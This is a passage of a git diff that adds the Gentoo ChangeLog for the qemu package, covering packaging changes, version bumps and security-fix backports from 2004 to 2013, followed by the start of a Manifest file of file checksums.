which was removed incorrectly qemu-1.3.0.ebuild + + 25 Jan 2013; Agostino Sarubbo qemu-1.2.2-r2.ebuild: + Stable for x86, wrt bug #453284 + + 25 Jan 2013; Agostino Sarubbo qemu-1.2.2-r2.ebuild: + Stable for amd64, wrt bug #453284 + + 21 Jan 2013; Doug Goldstein qemu-9999.ebuild: + Fix build issues identified by Michal Privoznik + +*qemu-1.2.2-r100 (21 Jan 2013) + + 21 Jan 2013; Doug Goldstein +qemu-1.2.2-r100.ebuild: + Add support for USE=static-softmmu and USE=static-user. Break out build rules + between the two so we can better support user needs. + + 19 Jan 2013; Doug Goldstein qemu-1.2.2-r2.ebuild: + Just change the name of the tarball so no one sees anything weird + +*qemu-1.2.2-r2 (19 Jan 2013) + + 19 Jan 2013; Doug Goldstein +qemu-1.2.2-r2.ebuild, + -qemu-1.2.2-r1.ebuild: + Regenerate bad patchset. Identified by Marien Zwart , bug + #452918 + +*qemu-1.2.2-r1 (19 Jan 2013) + + 19 Jan 2013; Doug Goldstein +qemu-1.2.2-r1.ebuild, + +files/qemu-binfmt.initd-r1: + Backport a number of stability and code correctness fixes. Fix qemu-user init + script to point to the correct paths. + + 14 Jan 2013; Doug Goldstein qemu-1.2.2.ebuild, + qemu-1.3.0.ebuild, qemu-9999.ebuild: + Install vmxcap script to detect hardware virtualization support + + 14 Jan 2013; Doug Goldstein qemu-1.2.2.ebuild, + qemu-1.3.0.ebuild, qemu-9999.ebuild: + Only tell x86 and amd64 users about the qemu-kvm symlink since it only + applies to them. + + 14 Jan 2013; Doug Goldstein qemu-1.2.2.ebuild, + qemu-1.3.0.ebuild, qemu-9999.ebuild: + Only install the firmware components if we're building a target that uses + them. Update some USE=static blockers. Update the elog message to print out + in correct cases. + + 13 Jan 2013; Doug Goldstein qemu-1.2.2.ebuild: + Rebase backport patchset to fix a glaringly obvious mistake I made when + backporting the arm boot patch. bug #451598 + +*qemu-1.3.0 (12 Jan 2013) + + 12 Jan 2013; Doug Goldstein +qemu-1.3.0.ebuild: + Add an initial masked version of qemu-1.3.0 which doesn't build yet due to + missing SeaBIOS depends. Upstream hasn't actually released a compatible + version yet. + + 12 Jan 2013; Doug Goldstein qemu-1.2.2.ebuild: + Fix some missing user targets + + 12 Jan 2013; Doug Goldstein qemu-1.1.1-r1.ebuild, + qemu-1.1.2-r2.ebuild, qemu-1.2.1.ebuild, qemu-1.2.2.ebuild: + Fix firmware blobs depends to be locked down per each version, similar to how + upstream ships the prebuilt blobs. bug #441716 + + 12 Jan 2013; Doug Goldstein qemu-1.1.1-r1.ebuild, + qemu-1.1.2-r2.ebuild: + Adjust usbredir depends to avoid any future problems. bug #439972 + + 12 Jan 2013; Doug Goldstein -qemu-1.1.2-r1.ebuild, + -qemu-1.1.2-r3.ebuild, -qemu-1.2.0.ebuild: + Remove older versions + + 12 Jan 2013; Doug Goldstein qemu-1.2.1.ebuild, + qemu-1.2.2.ebuild: + Due to various fixes, we need to explicitly depend on this version. bug + #439972 + + 12 Jan 2013; Doug Goldstein qemu-9999.ebuild: + Fixes from qemu-1.2.2 bump. Set usbredir depend to 0.6 and greater since + that's what qemu 1.3 and newer need. + + 12 Jan 2013; Doug Goldstein +files/qemu-binfmt.initd, + qemu-1.2.2.ebuild: + Install initscript that qemu-user provides for binfmts when QEMU_USER_TARGETS + are set. + + 12 Jan 2013; Doug Goldstein qemu-1.2.2.ebuild: + Remove trailing whitespace. + +*qemu-1.2.2 (12 Jan 2013) + + 12 Jan 2013; Doug Goldstein +qemu-1.2.2.ebuild: + Version bump. Fix libseccomp issues (fun tracking that down). Fix doc + installation, fix from Chris Mayo , bug #438228. Fix mips + link issue due to piix4_pm_init, bug # 447196. Backport madvise() call to for + THP support, bug #446490. Fix ld and objcopy calls, bug #438040. Add verbose + log (which is useless), bug #438036. + + 11 Jan 2013; Doug Goldstein qemu-1.1.1-r1.ebuild, + qemu-1.1.2-r1.ebuild, qemu-1.1.2-r2.ebuild, qemu-1.1.2-r3.ebuild, + qemu-1.2.0.ebuild, qemu-1.2.1.ebuild, qemu-9999.ebuild: + Fix bad ampersand usage. + + 10 Jan 2013; Sergei Trofimovich + +files/qemu-9999-cflags.patch, qemu-9999.ebuild: + Refresh cflags patch by Michal Privoznik and by Tom Wijsman (bug #451178). + + 03 Jan 2013; Sven Vermeulen qemu-1.1.2-r2.ebuild, + qemu-1.1.2-r3.ebuild, qemu-1.2.0.ebuild, qemu-1.2.1.ebuild: + Adding SELinux dependency towards selinux-qemu package + + 13 Dec 2012; Samuli Suominen qemu-1.1.1-r1.ebuild, + qemu-1.1.2-r1.ebuild, qemu-1.1.2-r2.ebuild, qemu-1.1.2-r3.ebuild, + qemu-1.2.0.ebuild, qemu-1.2.1.ebuild, qemu-9999.ebuild: + Use udev_dorules to install udev rules into correct path wrt #447116 by + Alexander Tsoy + + 05 Dec 2012; Doug Goldstein qemu-1.1.1-r1.ebuild, + qemu-1.1.2-r1.ebuild, qemu-1.1.2-r2.ebuild, qemu-1.1.2-r3.ebuild, + qemu-1.2.0.ebuild, qemu-1.2.1.ebuild, qemu-9999.ebuild: + Fix spelling mistake found by Francisco Riera . bug + #441632 + + 05 Dec 2012; Sergei Trofimovich + -files/qemu-9999-fix-mipsen.patch, qemu-9999.ebuild: + Drop mips patch as fix gone upstream. + + 04 Dec 2012; Sergei Trofimovich qemu-9999.ebuild: + Follow upstream bump of minimal spice protocol versions. + + 21 Nov 2012; Doug Goldstein qemu-1.1.1-r1.ebuild, + qemu-1.1.2-r1.ebuild, qemu-1.1.2-r2.ebuild, qemu-1.1.2-r3.ebuild, + qemu-1.2.0.ebuild, qemu-1.2.1.ebuild, qemu-9999.ebuild: + Fix usbredir depends based on bug #439972 + + 21 Nov 2012; Doug Goldstein metadata.xml: + Delete no longer used flags. + +*qemu-1.1.2-r3 (21 Nov 2012) + + 21 Nov 2012; Doug Goldstein +qemu-1.1.2-r3.ebuild: + Bump 1.1.2 with more patches from the 1.1.x stabilization queue. + + 21 Nov 2012; Agostino Sarubbo qemu-1.1.2-r2.ebuild: + Stable for x86, wrt to bug #440092 + +*qemu-1.2.1 (21 Nov 2012) + + 21 Nov 2012; Doug Goldstein +qemu-1.2.1.ebuild: + Version bump to qemu 1.2.1 + qemu-kvm 1.2.0 + extra upstream fixes. Should be + Gentoo's first 1.2.x candidate. + + 21 Nov 2012; Doug Goldstein qemu-9999.ebuild: + For 1.3 we're switching to qemu from qemu-kvm which is now merged fully into + qemu so adjust the 9999 live ebuild to do that. + + 05 Nov 2012; Sergei Trofimovich qemu-9999.ebuild: + Once againt readd or32 target (OpenRISC). Added nore binaries to RWX exempt + list: qemu-{microblazeel,or32,s390x,unicore32}. unicore32 got system target + implementation. + + 05 Nov 2012; Doug Goldstein qemu-1.2.0.ebuild, + qemu-9999.ebuild: + Fix typo noticed by Alphat-PC + + 04 Nov 2012; Doug Goldstein qemu-9999.ebuild: + Fix patch name. + + 03 Nov 2012; qemu-1.1.2-r2.ebuild: + Stable for amd64, wrt bug #440092 + + 30 Oct 2012; Doug Goldstein qemu-1.1.1-r1.ebuild, + qemu-1.1.2-r1.ebuild, qemu-1.1.2-r2.ebuild, qemu-1.2.0.ebuild, + qemu-9999.ebuild: + Ensure no one uses USE=bluetooth with USE=static since it doesn't work. + + 30 Oct 2012; Doug Goldstein qemu-1.1.1-r1.ebuild, + qemu-1.1.2-r1.ebuild, qemu-1.1.2-r2.ebuild: + Fix old blocker that's not necessary now that we have the qemu-kvm move. + + 29 Oct 2012; Doug Goldstein qemu-1.2.0.ebuild, + qemu-9999.ebuild: + Updates from the 1.1.x to ready for the 1.2.x series unmask. + + 29 Oct 2012; Tiziano Müller qemu-9999.ebuild: + Fix collision with vscclient in the live ebuild like in the 1.2.0 ebuild. + + 28 Oct 2012; Tiziano Müller qemu-1.2.0.ebuild: + Fix some build issues (missing patch and wrong S), avoid collision with + libcacard (bug #439990). + + 28 Oct 2012; Zac Medico qemu-1.1.1-r1.ebuild, + qemu-1.1.2-r1.ebuild, qemu-1.1.2-r2.ebuild, qemu-1.2.0.ebuild, + qemu-9999.ebuild: + Fix spelling of CONFIG_CHECK for vhost-net. + +*qemu-1.1.2-r2 (24 Oct 2012) + + 24 Oct 2012; Doug Goldstein +qemu-1.1.2-r2.ebuild: + Further stability fixes either applied by upstream or recommended to be + applied. + + 20 Oct 2012; Doug Goldstein + -files/qemu-0.11.0-mips64-user-fix.patch, + -files/qemu-0.11.1-CVE-2012-0029-backport.patch, + -files/qemu-0.11.1-cfg-pulse.patch, -files/qemu-1.0.1-siginfo.patch, + -files/qemu-kvm-1.0-e1000-bounds-packet-size-against-buffer-size.patch, + -files/qemu-1.0-unmagic-debug.patch, -files/qemu-1.0-unmagic-xfsctl.patch, + -qemu-1.1.2.ebuild, -files/qemu-ifdown, -files/qemu-ifup: + Remove ebuild that doesn't have the Gentoo patchset. Remove old files that + are not used. + + 20 Oct 2012; Doug Goldstein -qemu-0.11.1.ebuild, + -qemu-0.11.1-r1.ebuild: + Remove older version from the tree. + + 20 Oct 2012; Doug Goldstein metadata.xml: + Remove unused USE flag descriptions. + + 20 Oct 2012; Doug Goldstein qemu-1.2.0.ebuild: + Add initial qemu-kvm 1.2.0 that is unkeyworded. It is missing the Gentoo + patchset and we really are waiting for 1.2.1 but its slowly dragging its feet + out the door and once it does that will be keyworded. + +*qemu-1.1.2-r1 (20 Oct 2012) + + 20 Oct 2012; Doug Goldstein +qemu-1.1.2-r1.ebuild: + Restore the Gentoo patchset for qemu-kvm. + + 11 Oct 2012; Justin Lecher metadata.xml: + Add better USE description for jpeg and png + + 11 Oct 2012; Sergei Trofimovich + +files/qemu-9999-fix-mipsen.patch: + Addmissing patch for mips (lost after qemu-kvm -> qemu migration). + + 10 Oct 2012; Mike Frysinger qemu-1.1.2.ebuild, + qemu-9999.ebuild: + Make vnc support optional. We can use qemu just fine w/out it, so add + USE="jpeg png vnc" to control the various pieces. + + 10 Oct 2012; Mike Frysinger metadata.xml, + qemu-1.1.2.ebuild, qemu-9999.ebuild: + Convert to USE=uuid since the -luuid interface is portable beyond linux. + + 10 Oct 2012; Mike Frysinger qemu-1.1.2.ebuild, + qemu-9999.ebuild: + Handle more USE=static/static-libs cases. + + 09 Oct 2012; Doug Goldstein metadata.xml: + Update maintainer + + 09 Oct 2012; Doug Goldstein qemu-9999.ebuild: + Update the live ebuild to qemu-kvm. + + 09 Oct 2012; Doug Goldstein qemu-1.1.1-r1.ebuild: + This was stable but repoman didn't want to let me keep it stable after the + move so remarking stable. + + 09 Oct 2012; Doug Goldstein -qemu-1.1.1.ebuild: + Remove ebuild that was never keyworded + +*qemu-1.1.1-r1 (09 Oct 2012) + + 09 Oct 2012; Doug Goldstein +files/65-kvm.rules, + -qemu-1.0-r2.ebuild, -qemu-1.0-r3.ebuild, -qemu-1.0.1.ebuild, + +qemu-1.1.1-r1.ebuild, qemu-1.1.2.ebuild, +files/qemu-kvm: + Bring over the qemu-kvm ebuilds since we're merging the two packages together + to better follow how other distros ship qemu/qemu-kvm. Eventually we'll just + use qemu instead of qemu-kvm but not yet. + +*qemu-1.2.0 (22 Sep 2012) +*qemu-1.1.2 (22 Sep 2012) + + 22 Sep 2012; Mike Frysinger + +files/qemu-1.2.0-cflags.patch, +qemu-1.1.2.ebuild, +qemu-1.2.0.ebuild: + Version bumps. + + 07 Sep 2012; Sergei Trofimovich qemu-9999.ebuild: + Fixed configure failure (upstream got rid of '--enabke-vnc-thread' option). + Added new or32 target (OpenRISC). + +*qemu-1.1.1 (18 Aug 2012) + + 18 Aug 2012; Mike Frysinger +qemu-1.1.1.ebuild, + qemu-9999.ebuild: + Version bump. + + 18 Aug 2012; Mike Frysinger + +files/qemu-1.0.1-siginfo.patch, qemu-1.0.1.ebuild: + Add fix from upstream for building with newer kernel headers. + + 10 Jun 2012; Sergei Trofimovich qemu-9999.ebuild: + Drop '--disable-darwin-user' from configure params. Upstream does not export + it anymore. + + 03 May 2012; Jeff Horelick qemu-0.11.1.ebuild, + qemu-0.11.1-r1.ebuild, qemu-1.0-r2.ebuild, qemu-1.0-r3.ebuild, + qemu-1.0.1.ebuild, qemu-9999.ebuild: + dev-util/pkgconfig -> virtual/pkgconfig + + 24 Mar 2012; Sergei Trofimovich + +files/qemu-0.11.1-cfg-pulse.patch, qemu-0.11.1-r1.ebuild, qemu-0.11.1.ebuild: + Fixed configure failure against pulseaudio-1.1 (bug #384847 by Ian Abbott, + fixed by Ian Abbott and Nathan Phillip Brink). + + 20 Mar 2012; Doug Goldstein qemu-1.0-r3.ebuild, + qemu-1.0.1.ebuild: + Need to set the active version of python to 2 since qemu doesn't support 3. + bug #408991 + + 18 Mar 2012; Samuli Suominen qemu-0.11.1.ebuild, + qemu-0.11.1-r1.ebuild, qemu-1.0-r2.ebuild, qemu-1.0-r3.ebuild, + qemu-1.0.1.ebuild, qemu-9999.ebuild, metadata.xml: + Remove USE="esd" because media-sound/esound isn't in tree anymore. + + 07 Mar 2012; Sergei Trofimovich + +files/qemu-1.0-unmagic-debug.patch, +files/qemu-1.0-unmagic-xfsctl.patch, + qemu-1.0.1.ebuild: + Added patces from upstream for '--disable-debug-info' and '--enable-xfsctl'. + Fixes configure failure (bug #406851 by Markus Peloquin and others). + +*qemu-1.0.1 (03 Mar 2012) + + 03 Mar 2012; Luca Barbato +qemu-1.0.1.ebuild: + New version + + 01 Mar 2012; Brent Baude qemu-0.11.1.ebuild: + Marking qemu-0.11.1 ppc for bug 356685 + + 28 Feb 2012; Sergei Trofimovich qemu-9999.ebuild: + Switch to upstream's '--disable-debug-info' to avoid OOM bug #355861. + + 25 Feb 2012; Doug Goldstein qemu-1.0-r3.ebuild: + When building with USE=static, zlib needs to be built with USE=static-libs. + bug #405785 + +*qemu-1.0-r3 (21 Feb 2012) + + 21 Feb 2012; Luca Barbato +qemu-1.0-r3.ebuild: + Add qemu-user patches in + + 29 Jan 2012; Sergei Trofimovich qemu-1.0-r2.ebuild, + qemu-9999.ebuild: + Respect user's decision whether to generate debug info when build stuff + (related to bug #355861 by Andrew Savchenko). Drop outdated seding of + Makefiles. + +*qemu-0.11.1-r1 (28 Jan 2012) + + 28 Jan 2012; Sergei Trofimovich + +files/qemu-0.11.1-CVE-2012-0029-backport.patch, +qemu-0.11.1-r1.ebuild: + Backport fix for bug #400595 / CVE-2012-0029 (picked from qemu-kvm ebuild). + + 27 Jan 2012; Sergei Trofimovich metadata.xml, + qemu-9999.ebuild: + Added USE=xfs knob to handle XFS optimizations (uses sys-fs/xfsprogs). + +*qemu-1.0-r2 (26 Jan 2012) + + 26 Jan 2012; Sergei Trofimovich + +files/qemu-kvm-1.0-e1000-bounds-packet-size-against-buffer-size.patch, + +qemu-1.0-r2.ebuild, -qemu-0.14.0.ebuild, -qemu-1.0-r1.ebuild, + qemu-9999.ebuild: + Fix for bug #400595 / CVE-2012-0029 (picked from qemu-kvm ebuild). Restored + manual doc installation (upstream installs only html bits). Added USE=kvm to + live ebuild. Dropped old. + + 23 Jan 2012; Sergei Trofimovich qemu-9999.ebuild: + Whitespace. + +*qemu-1.0-r1 (23 Jan 2012) + + 23 Jan 2012; Sergei Trofimovich +qemu-1.0-r1.ebuild, + -qemu-1.0.ebuild, metadata.xml, qemu-9999.ebuild: + Put back optional USE=opengl flag, added USE=usbredir and prefix support. + Bumped up to EAPI=4 and cleaned doc installation (by WilliamH). + + 23 Jan 2012; William Hubbs qemu-9999.ebuild: + clean up live ebuild and migrate to eapi 4 (approved by slyfox) + + 22 Jan 2012; Sergei Trofimovich qemu-1.0.ebuild: + Hide qemu-ppc* binaries from RWX mappings QA check. + + 22 Jan 2012; Sergei Trofimovich qemu-9999.ebuild: + Hide qemu-ppc* binaries from RWX mappings QA check. + + 22 Jan 2012; Sergei Trofimovich qemu-1.0.ebuild, + qemu-9999.ebuild: + Fix USE=xen to depend on app-emulation/xen-tools. app-emulation/xen does not + provide any libraries. + + 22 Jan 2012; Sergei Trofimovich qemu-9999.ebuild: + Added _all_ emulated audio cards (bug #144894 by Torsten Krah) + +*qemu-1.0 (22 Jan 2012) + + 22 Jan 2012; Sergei Trofimovich +qemu-1.0.ebuild, + qemu-9999.ebuild: + Version bump (requested by Anton Kochkov and others in bug #367153). + + 22 Jan 2012; Sergei Trofimovich metadata.xml, + qemu-9999.ebuild: + Added LatticeMico32 (lm32) softmmu target. Added USE="nss rbd spice threads + +vhost-net xattr xen" to get control of some automagic depends (bug #326491 by + Diego Elio Pettenò); mostly picked from qemu-kvm-9999.ebuild. Updated USE=curl + description (bug #354565 by klondike). + + 22 Jan 2012; Sergei Trofimovich qemu-0.11.1.ebuild, + qemu-0.14.0.ebuild, qemu-9999.ebuild: + Removed blockers on app-emulation/qemu-softmmu (dead 10 months ago) and on + app-emulation/qemu-kvm-spice (dead 6 months ago). + + 21 Jan 2012; Sergei Trofimovich qemu-9999.ebuild: + Fixed configure failure (follow upstream in renaming --enablble-user-pic to + --enable-pic). Added all missing linux targets except lm32 (needs proper deps + and a fix against --as-needed). Made ./configure params to be shown. + + 20 Sep 2011; Michał Górny qemu-9999.ebuild: + Migrate to git-2. + +*qemu-9999 (27 Jun 2011) + + 27 Jun 2011; Luca Barbato +qemu-9999.ebuild: + Introduce live ebuild, useful for static qemu-user deployment + + 24 Mar 2011; Christoph Mende qemu-0.11.1.ebuild: + Stable on amd64 wrt bug #356685 + + 17 Mar 2011; Thomas Kahle qemu-0.11.1.ebuild: + x86 stable per bug 356685 + + 28 Feb 2011; Doug Goldstein -qemu-0.9.1.ebuild: + Remove old version + + 20 Feb 2011; Zac Medico qemu-0.14.0.ebuild: + Bug #355589 - Fix qemu-ifup die logic. + + 20 Feb 2011; Luca Barbato qemu-0.14.0.ebuild: + Fix description + +*qemu-0.14.0 (19 Feb 2011) + + 19 Feb 2011; Luca Barbato +qemu-0.14.0.ebuild, + metadata.xml: + New version, ebuild mostly in line with qemu-kvm + + 15 Oct 2010; Diego E. Pettenò -qemu-0.9.0.ebuild, + qemu-0.9.1.ebuild, -qemu-0.10.0.ebuild, -qemu-0.10.1.ebuild, + -qemu-0.10.3.ebuild, -files/qemu-0.10.3-nopl-fix.patch, + -qemu-0.10.4.ebuild, -qemu-0.10.5.ebuild, -qemu-0.10.6.ebuild, + -qemu-0.11.0.ebuild: + Belated spring cleaning of ebuilds and files; this also re-sync the ppc + keyword with the qemu-softmmu package which this is just an alias of. + + 30 Jun 2010; Harald van Dijk qemu-0.10.3.ebuild, + qemu-0.10.4.ebuild, qemu-0.10.5.ebuild, qemu-0.10.6.ebuild, + qemu-0.11.0.ebuild, qemu-0.11.1.ebuild: + Fix quoting + + 05 Jan 2010; Diego E. Pettenò qemu-0.10.3.ebuild, + qemu-0.10.4.ebuild, qemu-0.10.5.ebuild, qemu-0.10.6.ebuild, + qemu-0.11.0.ebuild, qemu-0.11.1.ebuild: + Fix trivial mistake. Closes bug #280121 by Kerin Millar. + + 15 Dec 2009; Doug Goldstein metadata.xml: + change to qemu herd + +*qemu-0.11.1 (06 Dec 2009) + + 06 Dec 2009; Luca Barbato +qemu-0.11.1.ebuild: + Version bump + + 23 Nov 2009; Luca Barbato qemu-0.11.0.ebuild: + fix bug #286012, thanks to Thomas Kister for the + patch + + 22 Nov 2009; Luca Barbato qemu-0.11.0.ebuild: + use --disable-strip instead of sed + + 17 Nov 2009; Luca Barbato qemu-0.11.0.ebuild: + Fix hardened build, thanks to Xake for the patch and + the notice in bug #287308 + + 05 Nov 2009; Patrick Lauer qemu-0.11.0.ebuild: + Fixing bad --disable-gfx-check, closes #286370 + +*qemu-0.11.0 (23 Oct 2009) + + 23 Oct 2009; Luca Barbato + +files/qemu-0.11.0-mips64-user-fix.patch, +qemu-0.11.0.ebuild: + New release + +*qemu-0.10.6 (05 Sep 2009) + + 05 Sep 2009; Luca Barbato +qemu-0.10.6.ebuild: + Version Bump + +*qemu-0.10.5 (07 Jun 2009) + + 07 Jun 2009; Luca Barbato +qemu-0.10.5.ebuild: + New version + + 19 May 2009; Diego E. Pettenò qemu-0.10.4.ebuild: + Fix doc installation: install html in the html/ subdir, install more qemu + doc, rename the README file (it's not qemu's proper), die on error. + + 19 May 2009; Luca Barbato qemu-0.10.4.ebuild: + fix missing patch, thanks to Martin Jansa for + noticing + +*qemu-0.10.4 (19 May 2009) + + 19 May 2009; Luca Barbato +qemu-0.10.4.ebuild: + New version + + 17 May 2009; Diego E. Pettenò qemu-0.10.3.ebuild, + +files/qemu-ifdown, +files/qemu-ifup: + Add missing ifup/ifdown scripts, change install logic, make sure they are + not added executable to CVS. + +*qemu-0.10.3 (17 May 2009) + + 17 May 2009; Luca Barbato + +files/qemu-0.10.3-nopl-fix.patch, +qemu-0.10.3.ebuild: + New ebuild, thanks to Xake for contributing it in bug + #190298 + +*qemu-0.10.1 (22 Mar 2009) + + 22 Mar 2009; Luca Barbato +qemu-0.10.1.ebuild: + Bugfix release + +*qemu-0.10.0 (09 Mar 2009) + + 09 Mar 2009; Luca Barbato +qemu-0.10.0.ebuild: + New version + + 03 Sep 2008; Thomas Anderson qemu-0.9.1.ebuild: + stable amd64, needed to go stable becuase qemu-softmmu went stable, mfi + + 18 May 2008; Christian Faulhammer qemu-0.9.1.ebuild: + stable x86 + + 01 Feb 2008; Luca Barbato -qemu-0.8.0.ebuild, + -qemu-0.8.0.20060329.ebuild, -qemu-0.8.1.ebuild, -qemu-0.8.2.ebuild: + Remove qemu-0.8 series + + 28 Jan 2008; Luca Barbato qemu-0.9.1.ebuild: + avoid qemu-user, it is broken + +*qemu-0.9.1 (27 Jan 2008) + + 27 Jan 2008; Luca Barbato +qemu-0.9.1.ebuild: + Version bump + + 20 May 2007; Christian Faulhammer qemu-0.9.0.ebuild: + stable amd64, security bug 176674 + + 16 May 2007; Luca Barbato qemu-0.9.0.ebuild: + Marked ppc + + 08 May 2007; Markus Ullmann qemu-0.9.0.ebuild: + Stable on x86 wrt security bug #176674 + +*qemu-0.9.0 (06 Feb 2007) + + 06 Feb 2007; Luca Barbato +qemu-0.9.0.ebuild: + New version + + 06 Feb 2007; Simon Stelling qemu-0.8.2.ebuild: + stable on amd64; bug 159522 + + 02 Jan 2007; Christian Faulhammer qemu-0.8.2.ebuild: + stable x86, bug #159522 + + 31 Dec 2006; Luca Barbato qemu-0.8.2.ebuild: + Marked ppc + +*qemu-0.8.2 (16 Aug 2006) + + 16 Aug 2006; Luca Barbato +qemu-0.8.2.ebuild: + Meta ebuild bumped + + 09 Jun 2006; Michael Sterrett + -files/qemu-0.6.0-configure.patch, -files/qemu-0.6.0-sigaction.patch, + -files/qemu-0.6.0-typo.patch, -files/qemu-0.6.1-20041126.patch, + -files/qemu-0.7.0-errno.patch, -files/kqemu-sysfs.patch, + -qemu-0.6.1.ebuild, -qemu-0.6.1-r1.ebuild, -qemu-0.7.0-r1.ebuild, + -qemu-0.7.1.ebuild, -qemu-0.7.2.ebuild: + clean out old versions + +*qemu-0.8.1 (06 May 2006) + + 06 May 2006; Luca Barbato +qemu-0.8.1.ebuild: + New version + + 19 Apr 2006; Daniel Gryniewicz qemu-0.8.0.ebuild: + Marked stable on amd64 per bug# 123972 + + 16 Apr 2006; Michael Hanselmann qemu-0.8.0.ebuild: + Stable on ppc. + +*qemu-0.8.0.20060329 (29 Mar 2006) + + 29 Mar 2006; Luca Barbato metadata.xml, + +qemu-0.8.0.20060329.ebuild: + New version + + 29 Mar 2006; Chris White qemu-0.8.0.ebuild: + x86 stable for qemu-0.8.0 bug #123972. + + 28 Jan 2006; Luca Barbato -files/qemu_gcc34.patch.gz, + -qemu-0.6.0.ebuild: + cleanup + +*qemu-0.8.0 (23 Dec 2005) + + 23 Dec 2005; Luca Barbato +qemu-0.8.0.ebuild: + New version + + 05 Dec 2005; qemu-0.7.0.ebuild, qemu-0.7.0-r1.ebuild, + qemu-0.7.1.ebuild: + Make amd64 keywords match qemu-softmmu + +*qemu-0.7.2 (11 Sep 2005) + + 11 Sep 2005; Luca Barbato +qemu-0.7.2.ebuild: + New release + +*qemu-0.7.1 (25 Jul 2005) + + 25 Jul 2005; Luca Barbato +qemu-0.7.1.ebuild: + New version + +*qemu-0.7.0-r1 (18 Jun 2005) + + 18 Jun 2005; Luca Barbato +qemu-0.7.0-r1.ebuild: + Meta ebuild added + + 25 May 2005; Luca Barbato + +files/qemu-0.7.0-errno.patch, qemu-0.7.0.ebuild: + Fix for the errno issues in helper2.c + + 18 May 2005; Luca Barbato qemu-0.7.0.ebuild: + Add a notice about the qemu group, thanks to Leung Ki Chi + for pointing the issue out + + 12 May 2005; Luca Barbato qemu-0.7.0.ebuild: + Hardened updates from Kevin F. Quinn + + 07 May 2005; Luca Barbato qemu-0.7.0.ebuild: + Some fixes here and there, thanks to Sok Ann Yap + + 29 Apr 2005; Luca Barbato qemu-0.7.0.ebuild: + Retouches and corrections, thanks to genstef as usual + + 29 Apr 2005; Luca Barbato qemu-0.7.0.ebuild: + Added udev support and qemu group creation + +*qemu-0.7.0 (28 Apr 2005) + + 28 Apr 2005; Luca Barbato +files/kqemu-sysfs.patch, + +qemu-0.7.0.ebuild: + New version + + 18 Dec 2004; Simon Stelling qemu-0.6.1-r1.ebuild: + added ~amd64 + + 28 Nov 2004; Luca Barbato qemu-0.6.1-r1.ebuild: + Missing dep added, thanks to Frank Groeneveld + + 28 Nov 2004; Luca Barbato + files/qemu-0.6.1-20041126.patch: + Minor fix, the patch had an Header reference that cvs replaced + +*qemu-0.6.1-r1 (28 Nov 2004) + + 28 Nov 2004; Luca Barbato + +files/qemu-0.6.1-20041126.patch, +qemu-0.6.1-r1.ebuild: + updated qemu to the 20041126 cvs snapshot, this should fix bug #72561 + + 26 Nov 2004; Luca Barbato + -files/qemu-0.5.4-jocelyn-mayer-ppc.patch, -qemu-0.5.1.ebuild, + -qemu-0.5.2.ebuild, -qemu-0.5.3.ebuild, -qemu-0.5.4.ebuild, + -qemu-0.5.5-r1.ebuild, -qemu-0.5.5.ebuild: + Cleanup + + 17 Nov 2004; Luca Barbato qemu-0.6.1.ebuild: + Removed qemu-fast since that feature won't build on most systems + + 16 Nov 2004; Luca Barbato qemu-0.6.1.ebuild: + Stray useflag removed + +*qemu-0.6.1 (15 Nov 2004) + + 15 Nov 2004; Luca Barbato +qemu-0.6.1.ebuild: + New version, filtering qemu-fast on nptl + + 02 Nov 2004; Luca Barbato qemu-0.6.0.ebuild: + Minor fix + + 01 Nov 2004; Luca Barbato + +files/qemu-0.6.0-configure.patch, qemu-0.6.0.ebuild: + Minor fixes, some taken from Andrew Kirilenko from bug #69384 + + 28 Oct 2004; Luca Barbato qemu-0.6.0.ebuild: + Marked ppc, added some ewarn in the postinst as requested in bug #69206 + + 25 Sep 2004; Hanno Boeck +files/qemu_gcc34.patch.gz, + qemu-0.6.0.ebuild: + Fix for gcc 3.4. + + 20 Aug 2004; Luca Barbato + +files/qemu-0.6.0-sigaction.patch, qemu-0.6.0.ebuild: + Remove ancient glibc workaround + +*qemu-0.6.0 (13 Jul 2004) + + 13 Jul 2004; Luca Barbato +files/qemu-0.6.0-typo.patch, + +qemu-0.6.0.ebuild: + New version + +*qemu-0.5.5-r1 (02 Jul 2004) + + 02 Jul 2004; Luca Barbato +qemu-0.5.5-r1.ebuild: + Minor change + + 04 Jun 2004; Michael Sterrett qemu-0.5.1.ebuild, + qemu-0.5.2.ebuild, qemu-0.5.3.ebuild, qemu-0.5.4.ebuild, qemu-0.5.5.ebuild: + pkg_postinstall -> pkg_postinst + + 17 May 2004; Luca Barbato qemu-0.5.5.ebuild: + Put the qemu-fast target modal + +*qemu-0.5.5 (09 May 2004) + + 09 May 2004; Luca Barbato +qemu-0.5.5.ebuild: + New version + +*qemu-0.5.4 (28 Apr 2004) + + 28 Apr 2004; Luca Barbato + +files/qemu-0.5.4-jocelyn-mayer-ppc.patch, +qemu-0.5.4.ebuild: + New version + + 27 Apr 2004; Luca Barbato qemu-0.5.3.ebuild: + Removed the softmmu target + +*qemu-0.5.3 (24 Apr 2004) + + 24 Apr 2004; Luca Barbato : + New version + + 15 Mar 2004; Chuck Short qemu-0.5.2.ebuild: + Marked stable for x86. + +*qemu-0.5.2 (28 Jan 2004) + + 28 Jan 2004; Chuck Short qemu-0.5.1.ebuild, qemu-0.5.2.ebuild: + Ebuild clean ups and new version. + + 28 Jan 2004; Chuck Short qemu-0.5.1.ebuild: + Marked stable for x86. + +*qemu-0.5.1 (03 Jan 2004) + + 03 Jan 2004; Chuck Short qemu-0.5.1.ebuild: + Initial version, ebuild submitted by Jocelyn Mayer + Ebuild modified by me. Closes #37047. diff --git a/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/Manifest b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/Manifest new file mode 100644 index 0000000000..c3220a4c2f --- /dev/null +++ b/sdk_container/src/third_party/coreos-overlay/app-emulation/qemu/Manifest @@ -0,0 +1,12 @@ +AUX 65-kvm.rules 40 SHA256 c16a8dc7855880b2651f1a3ff488ecc54d4ac1036c71fffd5007021d8d18a7c5 SHA512 98aad2a2f212a7ac0ee5b60a9c92744fa462bce5f26594845c7a31d692aaaca2d52cb57bdbede7dfc60b9862c2a6510665dbb03215d5cf76e62516a283decdd6 WHIRLPOOL 937de93a23930f6b8533f0c3e0dd249c99ddf7d54446dea857607266ac0a4b435c5b4a52b2986b138bace9c0a7ade66f94116b38e2bc4767ead54bd11baf0920 +AUX bridge.conf 454 SHA256 a51850dd39923f3482e4c575b48ad9fef9c9ebb2f2176225da399b79ce48c69d SHA512 a907ee86b81a1b61033bb7621ded65112504131ef7b698c53e4014b958ee6fc79e66f63069015a01e41362cb70a7d0ed26dd9a03033cf776f4846f0e1f8f1533 